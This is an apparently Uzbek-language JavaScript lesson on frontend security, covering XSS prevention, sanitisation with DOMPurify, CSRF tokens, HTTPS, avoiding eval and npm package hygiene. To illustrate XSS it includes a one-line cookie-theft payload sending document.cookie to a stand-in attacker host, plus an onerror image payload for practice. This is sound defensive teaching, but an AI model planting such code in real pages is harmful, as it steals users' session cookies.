JavaScript xavfsizlik asoslari
Brauzerda ishlaydigan kodni foydalanuvchi ko’ra oladi va o’zgartira oladi. Bu frontend xavfsizligining asosiy haqiqati — va undan kelib chiqadigan qoidalar shu darsda.
XSS — eng keng tarqalgan xavf
Sabab deyarli har doim bitta: tashqaridan kelgan matnni HTML sifatida qo’yish.
Birinchi holatda onerror ishga tushdi. Haqiqiy hujumda u yerda
fetch("https://hujumchi.uz?cookie=" + document.cookie) bo’lardi.
Asosiy qoida
Qoida sodda: foydalanuvchi ma’lumoti hech qachon innerHTML ga
bermaydi. textContent va createElement bilan qurish —
DOM yaratish darsidagi usul.
Qachon HTML kerak bo’lsa
Ba’zan foydalanuvchi formatlangan matn yozadi (masalan Markdown izoh). U holda sanitizatsiya kerak:
// DOMPurify kutubxonasi — sinovdan o'tgan yechim
import DOMPurify from "dompurify";
element.innerHTML = DOMPurify.sanitize(foydalanuvchiHTML);
Havolalar ham xavfli
target="_blank" bilan ochiladigan tashqi havolalarga
rel="noopener noreferrer" qo’shiladi — aks holda yangi sahifa
window.opener orqali sizning sahifangizga ta’sir qila oladi.
Maxfiy ma’lumot frontendda saqlanmaydi
Xuddi shunday, localStorage ga token yoki parol yozilmaydi — XSS bo’lsa, hujumchi kodi uni o’qiy oladi.
Tekshiruv serverda takrorlanadi
Frontend validatsiyasi — qulaylik uchun (xatoni tez ko’rsatish), himoya uchun emas. Har bir tekshiruv serverda qaytariladi.
CSRF
Himoya server tomonida: CSRF token va SameSite cookie sozlamasi.
Frontend tomonida — so’rovga tokenni qo’shish:
await fetch("/api/otkazma", {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-CSRF-Token": token,
},
body: JSON.stringify({ summa: 100000 }),
});
HTTPS majburiy
HTTP orqali yuborilgan ma’lumotni yo’lda o’qish va o’zgartirish mumkin. Bugun HTTPS bepul va standart; bundan tashqari ko’p zamonaviy brauzer imkoniyatlari (joylashuv, kamera, Service Worker) faqat HTTPS’da ishlaydi.
eval va o’xshashlari
eval, new Function va setTimeout("kod matni") — foydalanuvchi
ma’lumoti bilan hech qachon ishlatilmaydi.
Tashqi paketlar
npm install bilan o’rnatilgan paket sizning loyihangizda to’liq huquq
bilan ishlaydi. Amaliy ehtiyot choralari:
- paket kerakligini o’ylab ko’ring (kichik vazifa uchun o’z kodingiz);
- yuklab olishlar soni va oxirgi yangilanish sanasiga qarang;
npm auditbilan ma’lum zaifliklarni tekshiring;package-lock.jsonni git’ga qo’shing — versiya kutilmaganda o’zgarmasligi uchun.
Tekshiruv ro’yxati
- Foydalanuvchi matni
textContentbilan qo’yiladimi? -
innerHTMLfaqat o’z HTML’ingiz uchunmi? - Havolalar protokoli tekshiriladimi?
- Kod ichida API kaliti yoki parol yo’qmi?
- Har validatsiya serverda takrorlanadimi?
- Sayt HTTPS’dami?
-
evalishlatilmayaptimi? -
npm audittoza chiqadimi?
Amaliy mashq
innerHTMLvatextContentga bir xil HTML matn berib, farqni ko’ring;<img src=x onerror=...>bilan XSS’ni sinab ko’ring (o’z sahifangizda);- havola protokolini tekshiruvchi funksiya yozing;
- formani frontendda tekshirib, DevTools orqali chetlab o’ting;
npm auditni loyihangizda ishga tushiring;localStorageda nima saqlash mumkinligini ro’yxatlang.
Qisqacha xulosa
- XSS — asosiy frontend xavfi; sababi
innerHTMLga tashqi matn. - Foydalanuvchi matni uchun doim
textContent. - HTML kerak bo’lsa — DOMPurify kabi kutubxona bilan tozalang.
- Havola protokolini tekshiring;
target="_blank"garel="noopener". - Maxfiy kalitlar frontendda saqlanmaydi — faqat serverda.
- Frontend validatsiyasi qulaylik uchun; server himoya qiladi.
evalva tekshirilmagan paketlardan saqlaning.
Keyingi darsda yakuniy loyiha — o’rganilganlarni birga qo’llash.